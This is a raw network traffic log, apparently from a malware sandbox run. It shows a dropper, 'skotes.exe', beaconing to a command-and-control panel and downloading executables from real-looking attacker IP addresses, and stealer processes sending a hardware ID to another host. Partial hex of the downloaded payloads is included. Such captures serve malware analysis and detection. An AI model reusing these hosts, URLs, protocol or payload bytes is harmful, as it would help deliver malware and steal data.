Oct 21, 2024 10:47:27.436661005 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 21, 2024 10:47:27.437016964 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 21, 2024 10:47:27.437453032 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49975	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:27.472359896 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMT If-None-Match: "67161111-1ccc00"
Oct 21, 2024 10:47:28.372700930 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:28 GMT Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50000	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:30.871542931 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000492001&unit=246122658369
Oct 21, 2024 10:47:31.789928913 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50008	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:31.805160046 CEST	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMT If-None-Match: "6716110b-2d3c00"
Oct 21, 2024 10:47:32.727483988 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:32 GMT Last-Modified: Mon, 21 Oct 2024 08:30:03 GMT Connection: keep-alive ETag: "6716110b-2d3c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50025	185.215.113.37	80	6788	C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:34.006386995 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:47:34.899662971 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:47:34.911303043 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build"doma------JEHIJJKEGHJJKECBKECF--
Oct 21, 2024 10:47:35.201112986 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50036	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:35.603960991 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000493001&unit=246122658369
Oct 21, 2024 10:47:36.460889101 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50042	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:36.469063044 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMT If-None-Match: "67161111-1ccc00"
Oct 21, 2024 10:47:37.373064995 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:37 GMT Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50056	185.215.113.16	80	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:38.118134975 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:39.035936117 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:38 GMT Content-Type: application/octet-stream Content-Length: 1908224 Last-Modified: Mon, 21 Oct 2024 08:30:16 GMT Connection: keep-alive ETag: "67161118-1d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKhK @.rsrc@.idata @ *@evwdyikk1@ewgqkdfwK@.taggant0K"@
Oct 21, 2024 10:47:39.035995007 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:39.036030054 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:39.036062002 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:39.036096096 CEST	1236	IN	Data Raw: d7 b2 ee ee 22 68 1e 25 42 95 c2 f2 de a1 40 c8 f1 49 56 33 69 f7 1a c1 14 17 37 0e 18 73 3e a3 33 bf cf b9 32 7f ea ae 16 7c e2 b0 92 96 ef ca 82 87 fe 6e c6 9d 9b 44 31 86 6e 1f 19 e8 3e c4 92 f3 91 00 bb 3c a2 c3 24 c8 6c b1 52 86 a6 fd 21 1c Data Ascii: "h%B@IV3i7s>32\|nD1n><$lR!n#z;w?.o!7mmK7ch2_>z=g>4Sjp4js>/Z`:\uDVOo=Wg2OmOTnzrA@#>CH{;Np
Oct 21, 2024 10:47:39.036127090 CEST	1236	IN	Data Raw: 88 b3 14 7f 47 cb ae f1 ea df 02 6e af 4c c1 69 72 b9 6a 5b 21 f8 21 e7 a1 aa 3e 63 8e ff ca ae a2 99 86 f7 54 5f 36 38 94 d5 1a fc 79 73 9e df fe 18 be 03 1d c8 41 b2 fa 79 eb 3b 18 e7 c2 a2 32 b3 38 ff f2 0f 28 d1 ae c4 3d 57 02 34 62 0f a1 16 Data Ascii: GnLirj[!!>cT_68ysAy;28(=W4b6irLt oR)lAsZu+'xoo(<z`i}e^7Ci9"28Wwm52t^Z1vEl
Oct 21, 2024 10:47:39.036160946 CEST	1236	IN	Data Raw: 06 90 23 8b 5a 8e 22 e5 56 7c 95 2d 21 96 f6 c1 af 24 d0 ce 6b 03 f9 5e 77 a1 13 63 2a 89 f6 a9 45 36 2d 9e 56 94 6f 10 2b e6 42 e2 37 1b 59 f1 88 0f 24 82 9f 74 c4 fd 61 5f d2 b0 b5 63 90 83 9f 9e d8 15 a1 1b 62 e3 ff 12 d6 e0 5a a2 17 e5 a6 d3 Data Ascii: #Z"V\|-!$k^wc*E6-Vo+B7Y$ta_cbZO}K{;?`\rf{y!9CdZ?24k\|q5dO]i2n77Z\ -W5c>sB"fBqZ`Wo+d0`C]UopG2@Q
Oct 21, 2024 10:47:39.036192894 CEST	1236	IN	Data Raw: af 61 69 69 24 1f d8 fd ee 73 8a 47 af 41 9b 08 7b a2 f4 11 29 2f 40 43 21 01 ea 8b 04 bc 05 65 f6 7b 0f 69 08 27 94 13 7e 1b ca be b6 6e aa 0b 1b f7 36 36 74 d5 69 ad 2d ec f2 e4 ff 34 a3 20 24 c9 b3 c0 e8 01 47 6a 21 33 37 28 5c a0 f9 fd 6d 8a Data Ascii: aii$sGA{)/@C!e{i'~n66ti-4 $Gj!37(\mNvdlp=;QO1V6St{7+Vrn>rAy 3/b_iGfhtZu(4g]nq{qCs%\4wx2
Oct 21, 2024 10:47:39.036226034 CEST	1236	IN	Data Raw: 93 53 70 2f b1 2d 4f e6 26 60 5f d7 e2 96 36 7f 8e 59 ac 5d f6 9b 1e 2a e4 57 82 3a b6 45 46 e3 c2 7f e6 e4 fe 76 e4 35 f5 36 ee 00 8b 90 1e e7 59 53 25 c7 05 ad 56 ad cf 76 f0 e6 20 8e 30 9f 5e 8c fe 4c 0a 46 53 7e da bd a3 c5 f1 07 63 f2 0b 4d Data Ascii: Sp/-O&`_6Y]W:EFv56YS%Vv 0^LFS~cMh=9m86_4]NBxKrC-d+em-[xxv);#yk\3f Z?H8fZA"K97oj8CmFslFwyi
Oct 21, 2024 10:47:39.036259890 CEST	1236	IN	Data Raw: f0 85 de b9 e8 c9 aa 24 18 1d dd ab 7c fc ed cf de a1 91 97 5a 33 55 22 03 69 40 cd 81 55 ed 11 b9 52 1c eb c0 41 4e 6d 24 81 d6 6b 00 07 dc 6f 75 ba 22 af 16 87 5f 0b 45 fe 47 ab 42 48 82 49 2e 4f 70 1b 47 85 44 9e 82 9c 05 44 bf 48 45 3b d8 cb Data Ascii: $\|Z3U"i@URANm$kou"_EGBHI.OpGDDHE;"Eu]On*[/3IN>Cc!92yq^pu>"]O^7f].4e,cmZ]{pH\q^uS7yi\|UIrL
Oct 21, 2024 10:47:39.041347027 CEST	1120	IN	Data Raw: 4a b9 4a 5a 60 c1 56 f2 6d b5 09 df 4a 03 da 12 bd 5f c0 65 ec 0e 56 63 6a a3 98 07 6f 4f 6e 5b 82 de 3d 4b f3 93 c2 03 44 15 e5 21 30 0f ee 79 9f 34 a2 6b ee 43 f2 68 1a 06 75 0b f9 03 b4 0d 92 d0 d1 00 bd 5b 9c 0e a2 e6 c6 60 ac 9b 4d 7f bd 4f Data Ascii: JJZ`VmJ_eVcjoOn[=KD!0y4kChu[`MO`-3oN2C~wr2RrbCu-jjmA?{JOz4"/?%ITSOImAXSsV)z4)pjk_Bwv#Daq=g
Oct 21, 2024 10:47:53.691792011 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:53.974488020 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:53 GMT Content-Type: application/octet-stream Content-Length: 1887232 Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0k@`k@P%d% %(@.rsrc %8@.idata %8@ *%:@yuntpzropPj<@dfroebje k@.taggant00k"@
Oct 21, 2024 10:47:55.225203037 CEST	204	OUT	GET /well/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:55.508374929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:55 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 21 Oct 2024 07:51:53 GMT Connection: keep-alive ETag: "67160819-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"dw@pkD@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50066	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:39.656480074 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000494001&unit=246122658369
Oct 21, 2024 10:47:40.592231035 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50072	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:40.614643097 CEST	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMT If-None-Match: "6716110b-2d3c00"
Oct 21, 2024 10:47:41.532704115 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:41 GMT Last-Modified: Mon, 21 Oct 2024 08:30:03 GMT Connection: keep-alive ETag: "6716110b-2d3c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50091	185.215.113.37	80	7928	C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:43.292763948 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:47:44.200207949 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:47:44.266083956 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="build"doma------CGIEGHJEGHJKFIEBFHJK--
Oct 21, 2024 10:47:44.556252003 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50095	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:43.829205036 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000495001&unit=246122658369
Oct 21, 2024 10:47:44.750104904 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50101	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:44.777180910 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMT If-None-Match: "67161111-1ccc00"
Oct 21, 2024 10:47:45.711735964 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:45 GMT Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50112	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:48.229053974 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000496001&unit=246122658369
Oct 21, 2024 10:47:49.134620905 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50114	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:50.912169933 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 21, 2024 10:47:51.883414984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50119	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
